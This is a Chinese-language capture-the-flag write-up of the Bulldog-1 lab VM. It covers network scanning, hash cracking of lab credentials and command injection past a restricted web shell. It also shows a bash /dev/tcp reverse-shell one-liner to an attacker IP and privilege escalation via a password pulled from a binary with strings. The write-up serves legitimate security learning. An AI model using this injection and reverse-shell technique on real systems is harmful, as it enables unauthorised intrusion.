99

环境:kali攻击机、windwos10

网络:桥接模式

0x01 信息收集

同网段主机使用arp-scan -l命令查看所有网段IP

端口扫描

nmap 192.168.1.0/24

获取到靶机IP地址 192.168.1.158

开放 23、80、8080端口,上扫描器

查看了80和8080网页,两个网页无差别

上扫描器扫描

dirb扫描的目录信息

http://192.168.1.158/admin/login/?next=/admin/

发现一个后台管理员登陆页面,尝试弱口令失败。。想想也不会存在弱口令

http://192.168.1.158/dev/ 访问此连接存在一个web-shell连接,但是需登录。

翻译了网页信息,发现网站是Django写的,用是python.

查看网页源代码,发现hash值

0x02 获取webshell

解密

ddf45997a7e18a25ad5f5cf222da64814dd060d5:bulldog
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e:bulldoglover

解密最后两个密码,最后得到账户密码:
nick:bulldog
sarah:bulldoglover

登录成功

点击查看网站,到http://192.168.1.158/dev

现在可以使用shell网页, 可执行命令。

命令只能使用ifconfig、ls、cat、echo、rm、pwd,查看本目录下的文件未发现有用信息,使用cat命令查看了/etc/passwd文件

发现存在两个id1000以后的账户

bulldogadmin:x:1000:1000:bulldogadmin,,,:/home/bulldogadmin:/bin/bash
django:x:1001:1001:,,,:/home/django:/bin/bash

当前因限制无法使用其他命令,尝试使用命令注入(&&、&、|),成功

显示当前为django用户登录

0x03 提权

尝试反弹shell

命令
ls & echo "bash -i >& /dev/tcp/192.168.1.23/4444 0>&1" | bash
反弹成功

返回home目录发现bulldogadmin目录

使用ls -la 查看所有目录,发现.hiddenadmindirectory

发现两个可执行文件,使用strings执行note提示需要root权限,执行customPermissionApp,发现一些字符。

经拼接得到密码:
SUPERultimatePASSWORDyouCANTget

使用sudo -i 输入上面密码成功提升到root权限

成功获取flag

Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

通过成功!

0x04 总结

1、BullDog-1靶机如果导入VM虚拟机中会出现靶机无法获取IP情况,导入VBOX虚拟机可获取IP。

2、在获取反弹shell这部的确是卡了一下,从来没想到过可以进行命令注入,使用&&、&、|可以绕过限制进行注入,学到一个新的点。

3、学习了strings可以查看可执行文件的字符,但是根据里面的字符去拼接密码这点比较难,如果不是看文章基本无法GET到这个点。

4、在执行su命令时候无法执行,而且文章中的python代码测试也没有成功,抱着试试心态用了sudo -i 发现可以直接提权。

总体来说,靶机获取webshell这里都不算太难,只有最后反弹和提权是遇到了一些坑,还是需要多学习学习。